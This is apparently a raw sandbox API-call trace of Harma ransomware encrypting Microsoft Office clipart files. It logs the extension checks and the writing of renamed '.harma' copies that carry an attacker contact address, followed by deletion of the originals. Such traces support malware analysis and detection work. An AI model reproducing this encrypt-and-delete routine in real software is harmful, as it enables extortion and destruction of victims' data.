returned 1 [0150.338] SetEndOfFile (hFile=0x21c) returned 1 [0150.341] CloseHandle (hObject=0x21c) returned 1 [0150.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString=".doc") returned 4 [0150.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString=".docx") returned 5 [0150.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.342] lstrlenW (lpString=".pdf") returned 4 [0150.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString=".xls") returned 4 [0150.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.342] lstrlenW (lpString=".xlsx") returned 5 [0150.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.342] lstrlenW (lpString=".ppt") returned 4 [0150.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString=".zip") returned 4 [0150.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.342] lstrlenW (lpString=".rar") returned 4 [0150.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString=".bz2") returned 4 [0150.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString=".7z") returned 3 [0150.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString=".dbf") returned 4 [0150.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString=".1cd") returned 4 [0150.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.342] lstrlenW (lpString=".jpg") returned 4 [0150.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString=".doc") returned 4 [0150.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString=".docx") returned 5 [0150.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.343] lstrlenW (lpString=".pdf") returned 4 [0150.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString=".xls") returned 4 [0150.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.343] lstrlenW (lpString=".xlsx") returned 5 [0150.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.343] lstrlenW (lpString=".ppt") returned 4 [0150.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString=".zip") returned 4 [0150.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.343] lstrlenW (lpString=".rar") returned 4 [0150.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString=".bz2") returned 4 [0150.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString=".7z") returned 3 [0150.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString=".dbf") returned 4 [0150.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString=".1cd") returned 4 [0150.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63 [0150.343] lstrlenW (lpString=".jpg") returned 4 [0150.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.344] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.344] lstrlenW (lpString="DD00687_.WMF") returned 12 [0150.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.344] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=20784) returned 1 [0150.344] CloseHandle (hObject=0x21c) returned 1 [0150.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0150.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.345] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.345] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0150.345] GetLastError () returned 0x0 [0150.345] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5130, lpOverlapped=0x0) returned 1 [0150.564] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5140, lpOverlapped=0x0) returned 1 [0150.566] ReadFile (in: hFile=0x21c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.566] WriteFile (in: hFile=0x2e8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.566] SetEndOfFile (hFile=0x2e8) returned 1 [0150.689] CloseHandle (hObject=0x2e8) returned 1 [0150.689] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.690] SetEndOfFile (hFile=0x21c) returned 1 [0150.692] CloseHandle (hObject=0x21c) returned 1 [0150.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0150.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.705] lstrlenW (lpString=".doc") returned 4 [0150.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.705] lstrlenW (lpString=".docx") returned 5 [0150.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.705] lstrlenW (lpString=".pdf") returned 4 [0150.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.705] lstrlenW (lpString=".xls") returned 4 [0150.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.705] lstrlenW (lpString=".xlsx") returned 5 [0150.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.705] lstrlenW (lpString=".ppt") returned 4 [0150.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.705] lstrlenW (lpString=".zip") returned 4 [0150.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.705] lstrlenW (lpString=".rar") returned 4 [0150.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.705] lstrlenW (lpString=".bz2") returned 4 [0150.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.705] lstrlenW (lpString=".7z") returned 3 [0150.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString=".dbf") returned 4 [0150.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString=".1cd") returned 4 [0150.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString=".jpg") returned 4 [0150.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString=".doc") returned 4 [0150.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString=".docx") returned 5 [0150.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.706] lstrlenW (lpString=".pdf") returned 4 [0150.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString=".xls") returned 4 [0150.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.706] lstrlenW (lpString=".xlsx") returned 5 [0150.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.706] lstrlenW (lpString=".ppt") returned 4 [0150.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.706] lstrlenW (lpString=".zip") returned 4 [0150.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.706] lstrlenW (lpString=".rar") returned 4 [0150.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.706] lstrlenW (lpString=".bz2") returned 4 [0150.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.707] lstrlenW (lpString=".7z") returned 3 [0150.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.707] lstrlenW (lpString=".dbf") returned 4 [0150.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.707] lstrlenW (lpString=".1cd") returned 4 [0150.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63 [0150.707] lstrlenW (lpString=".jpg") returned 4 [0150.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.707] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.707] lstrlenW (lpString="DD01151_.WMF") returned 12 [0150.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.708] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=2960) returned 1 [0150.708] CloseHandle (hObject=0x378) returned 1 [0150.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0150.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0150.708] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.708] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.709] GetLastError () returned 0x0 [0150.709] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xb90, lpOverlapped=0x0) returned 1 [0150.733] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xba0, lpOverlapped=0x0) returned 1 [0150.735] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.735] WriteFile (in: hFile=0x344, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.735] SetEndOfFile (hFile=0x344) returned 1 [0150.735] CloseHandle (hObject=0x344) returned 1 [0150.735] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.735] SetEndOfFile (hFile=0x378) returned 1 [0150.737] CloseHandle (hObject=0x378) returned 1 [0150.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0150.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.738] lstrlenW (lpString=".doc") returned 4 [0150.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.738] lstrlenW (lpString=".docx") returned 5 [0150.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.738] lstrlenW (lpString=".pdf") returned 4 [0150.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.738] lstrlenW (lpString=".xls") returned 4 [0150.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.739] lstrlenW (lpString=".xlsx") returned 5 [0150.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.739] lstrlenW (lpString=".ppt") returned 4 [0150.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString=".zip") returned 4 [0150.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.739] lstrlenW (lpString=".rar") returned 4 [0150.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString=".bz2") returned 4 [0150.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString=".7z") returned 3 [0150.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString=".dbf") returned 4 [0150.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString=".1cd") returned 4 [0150.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString=".jpg") returned 4 [0150.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.739] lstrlenW (lpString=".doc") returned 4 [0150.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.739] lstrlenW (lpString=".docx") returned 5 [0150.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.739] lstrlenW (lpString=".pdf") returned 4 [0150.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString=".xls") returned 4 [0150.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.740] lstrlenW (lpString=".xlsx") returned 5 [0150.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.740] lstrlenW (lpString=".ppt") returned 4 [0150.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.740] lstrlenW (lpString=".zip") returned 4 [0150.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.740] lstrlenW (lpString=".rar") returned 4 [0150.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString=".bz2") returned 4 [0150.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString=".7z") returned 3 [0150.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.740] lstrlenW (lpString=".dbf") returned 4 [0150.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.740] lstrlenW (lpString=".1cd") returned 4 [0150.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0150.740] lstrlenW (lpString=".jpg") returned 4 [0150.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.740] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.741] lstrlenW (lpString="DD01157_.WMF") returned 12 [0150.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0150.768] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3588) returned 1 [0150.768] CloseHandle (hObject=0x21c) returned 1 [0150.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0150.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.785] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.785] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0150.786] GetLastError () returned 0x0 [0150.786] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xe04, lpOverlapped=0x0) returned 1 [0150.860] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe10, lpOverlapped=0x0) returned 1 [0150.861] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0150.861] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.862] SetEndOfFile (hFile=0x33c) returned 1 [0150.862] CloseHandle (hObject=0x33c) returned 1 [0150.862] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0150.862] SetEndOfFile (hFile=0x388) returned 1 [0150.903] CloseHandle (hObject=0x388) returned 1 [0150.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0150.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0150.913] lstrlenW (lpString=".doc") returned 4 